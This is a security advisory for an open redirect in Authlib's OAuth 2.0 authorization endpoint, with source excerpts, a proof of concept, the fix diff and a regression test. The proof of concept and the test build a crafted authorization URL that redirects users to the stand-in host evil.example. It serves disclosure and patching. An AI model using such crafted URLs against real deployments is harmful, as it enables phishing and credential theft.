Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type
Description
Summary
Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response_type and supplies an attacker-controlled redirect_uri.
The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.
It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.
Details
The root cause is that AuthorizationServer.get_authorization_grant() copies the raw request redirect_uri into an UnsupportedResponseTypeError before any client has been resolved and before any redirect URI validation has happened:
# authlib/oauth2/rfc6749/authorization_server.py
raise UnsupportedResponseTypeError(
f"The response type '{request.payload.response_type}' is not supported by the server.",
request.payload.response_type,
redirect_uri=request.payload.redirect_uri,
)
That error object is later rendered by OAuth2Error.__call__(). If redirect_uri is set, Authlib
automatically returns a redirect response to that URI:
# authlib/oauth2/base.py
def __call__(self, uri=None):
if self.redirect_uri:
params = self.get_body()
loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment)
return 302, "", [("Location", loc)]
return super().__call__(uri=uri)
This means an unsupported response_type request can force the authorization server to redirect
to an attacker-controlled URL even when:
1. no valid client exists,
2. no grant matched the request,
3. no registered redirect_uri was ever checked.
This is not a contrived code path. It is reachable through the normal Authlib authorization
endpoint flow documented for Flask and Django integrations, where applications are told to call
server.get_consent_grant(...) and then server.handle_error_response(...) on OAuth2Error.
Relevant source and documentation references:
- authlib/oauth2/rfc6749/authorization_server.py
- authlib/oauth2/base.py
- docs/flask/2/authorization-server.rst
- docs/django/2/authorization-server.rst
### PoC
Local test environment:
- Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1
- git describe: v1.6.6-104-g68e6ab3f
- Python virtualenv: ./.venv
- Environment variable: AUTHLIB_INSECURE_TRANSPORT=true
Note: AUTHLIB_INSECURE_TRANSPORT=true was only used to allow local loopback HTTP reproduction.
It does not create the vulnerable behavior. In a real deployment the same logic is reachable
over HTTPS.
Run this exact PoC from the repository root:
export AUTHLIB_INSECURE_TRANSPORT=true
./.venv/bin/python - <<'PY'
import os, json
from flask import Flask, request
from authlib.integrations.flask_oauth2 import AuthorizationServer
from authlib.oauth2 import OAuth2Error
from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant
os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"
class AuthorizationCodeGrant(_AuthorizationCodeGrant):
def save_authorization_code(self, code, request):
raise RuntimeError("not reached")
def query_authorization_code(self, code, client):
return None
def delete_authorization_code(self, authorization_code):
pass
def authenticate_user(self, authorization_code):
return None
app = Flask(__name__)
app.secret_key = "testing"
server = AuthorizationServer(
app,
query_client=lambda client_id: None,
save_token=lambda token, request: None,
)
server.register_grant(AuthorizationCodeGrant)
@app.route("/oauth/authorize", methods=["GET", "POST"])
def authorize():
try:
grant = server.get_consent_grant(end_user=None)
except OAuth2Error as error:
return server.handle_error_response(request, error)
return server.create_authorization_response(grant=grant, grant_user=None)
with app.test_client() as c:
cases = {
"without_redirect_uri": "/oauth/authorize?response_type=totally-unsupported&state=s1",
"with_attacker_redirect_uri": "/oauth/authorize?response_type=totally-
unsupported&redirect_uri=https%3A%2F%2Fevil.example%2Flanding&state=s1",
}
out = {}
for name, url in cases.items():
r = c.get(url)
out[name] = {
"status": r.status_code,
"location": r.headers.get("Location"),
"body": r.get_data(as_text=True),
}
print(json.dumps(out, indent=2))
PY
Observed result:
{
"without_redirect_uri": {
"status": 400,
"location": null,
"body": "{\"error\": \"unsupported_response_type\", \"error_description\": \"totally-
unsupported\", \"state\": \"s1\"}"
},
"with_attacker_redirect_uri": {
"status": 302,
"location":
"https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",
"body": ""
}
}
This demonstrates that the only difference between a local error and an external redirect is
whether the attacker supplies redirect_uri.
The same behavior was locally reproduced with the Django integration using RequestFactory; it
returned:
{
"status": 302,
"location":
"https://evil.example/landing?error=unsupported_response_type&error_description=totally-unsupported&state=s1",
"body": ""
}
### Impact
This is an unauthenticated open redirect in an internet-facing authorization endpoint.
Who is impacted:
- Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization
endpoint flow.
- No special feature flag is required beyond running the authorization endpoint itself.
Attacker prerequisites:
- None beyond the ability to send a victim to a crafted authorization URL.
Practical harm:
- Phishing and credential theft by abusing a trusted authorization server domain as a
redirector.
- Bypass of domain-based allowlists that trust the authorization server's host.
- SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to
reject unregistered redirect URIs before redirecting.
The issue is especially concerning because the redirect happens before client existence and
redirect URI legitimacy are established.Affected products
1Patches
13be08468201afix: redirecting to unvalidated redirect_uri on UnsupportedResponseTypeError
3 files changed · +87 −1
authlib/oauth2/rfc6749/authorization_server.py+12 −1 modified@@ -241,10 +241,21 @@ def get_authorization_grant(self, request): if grant_cls.check_authorization_endpoint(request): return _create_grant(grant_cls, extensions, request, self) + # Per RFC 6749 §4.1.2.1, only redirect with the error if the client + # exists and the redirect_uri has been validated against it. + redirect_uri = None + if client_id := request.payload.client_id: + if client := self.query_client(client_id): + if requested_uri := request.payload.redirect_uri: + if client.check_redirect_uri(requested_uri): + redirect_uri = requested_uri + else: + redirect_uri = client.get_default_redirect_uri() + raise UnsupportedResponseTypeError( f"The response type '{request.payload.response_type}' is not supported by the server.", request.payload.response_type, - redirect_uri=request.payload.redirect_uri, + redirect_uri=redirect_uri, ) def get_consent_grant(self, request=None, end_user=None):
docs/changelog.rst+31 −0 modified@@ -6,6 +6,37 @@ Changelog Here you can see the full list of changes between each Authlib release. +Version 1.6.10 +-------------- + +**Unreleased** + +- Fix redirecting to unvalidated ``redirect_uri`` on ``UnsupportedResponseTypeError``. + +Version 1.6.9 +------------- + +**Released on Mar 2, 2026** + +- Not using header's ``jwk`` automatically. +- Add ``ES256K`` into default jwt algorithms. +- Remove deprecated algorithm from default registry. +- Generate random ``cek`` when ``cek`` length doesn't match. + +Version 1.6.8 +------------- + +**Released on Feb 17, 2026** + +- Add ``EdDSA`` to default ``jwt`` instance. + +Version 1.6.7 +------------- + +**Released on Feb 6, 2026** + +- Set supported algorithms for the default ``jwt`` instance. + Version 1.6.6 -------------
tests/flask/test_oauth2/test_authorization_code_grant.py+44 −0 modified@@ -352,3 +352,47 @@ def test_token_generator(app, test_client, client, server): resp = json.loads(rv.data) assert "access_token" in resp assert "c-authorization_code.1." in resp["access_token"] + + +def test_missing_scope_empty_default(test_client, client, monkeypatch): + """When client.get_allowed_scope() returns empty string for missing scope, + the authorization should proceed without a scope. + """ + + def get_allowed_scope_empty(scope): + if scope is None: + return "" + return scope + + monkeypatch.setattr(client, "get_allowed_scope", get_allowed_scope_empty) + + rv = test_client.post(authorize_url, data={"user_id": "1"}) + assert "code=" in rv.location + + params = dict(url_decode(urlparse.urlparse(rv.location).query)) + code = params["code"] + headers = create_basic_header("client-id", "client-secret") + rv = test_client.post( + "/oauth/token", + data={ + "grant_type": "authorization_code", + "code": code, + }, + headers=headers, + ) + resp = json.loads(rv.data) + assert "access_token" in resp + assert resp.get("scope", "") == "" + + +def test_unsupported_response_type_does_not_redirect(test_client): + """Regression test for open redirect via unsupported response_type.""" + url = ( + "/oauth/authorize" + "?response_type=totally-unsupported" + "&redirect_uri=https%3A%2F%2Fevil.example%2Flanding" + "&state=s1" + ) + rv = test_client.get(url) + assert rv.status_code == 400 + assert rv.headers.get("Location") is None
Vulnerability mechanics
Root cause
"The authorization server redirects to an attacker-controlled `redirect_uri` when an `UnsupportedResponseTypeError` is raised before client and redirect URI validation."
Attack vector
An attacker can craft a request to the OAuth 2.0 authorization endpoint with an unsupported `response_type` and supply an attacker-controlled `redirect_uri`. This request does not require any prior client registration or user authentication. The server will then issue a 302 redirect response to the attacker's specified URL, including error parameters in the redirect URI. This vulnerability is present in the standard authorization endpoint flow for Flask and Django integrations [ref_id=1].
Affected code
The vulnerability resides in the `AuthorizationServer.get_authorization_grant()` method within `authlib/oauth2/rfc6749/authorization_server.py`. Specifically, the code raises an `UnsupportedResponseTypeError` and includes the raw `request.payload.redirect_uri` before any client lookup or validation occurs [ref_id=1]. The error is later handled by `OAuth2Error.__call__()` in `authlib/oauth2/base.py`, which triggers the redirect.
What the fix does
The patch modifies the `AuthorizationServer.get_authorization_grant()` method to ensure that a `redirect_uri` is only passed to the `UnsupportedResponseTypeError` if the client exists and the provided `redirect_uri` has been validated against the client's registered URIs [patch_id=5240773]. This prevents the server from redirecting to unvalidated URIs when an unsupported response type is encountered, thereby closing the open redirect vulnerability.
Preconditions
- inputRequest to the authorization endpoint with an unsupported `response_type` and an attacker-controlled `redirect_uri`.
Generated on Jun 8, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.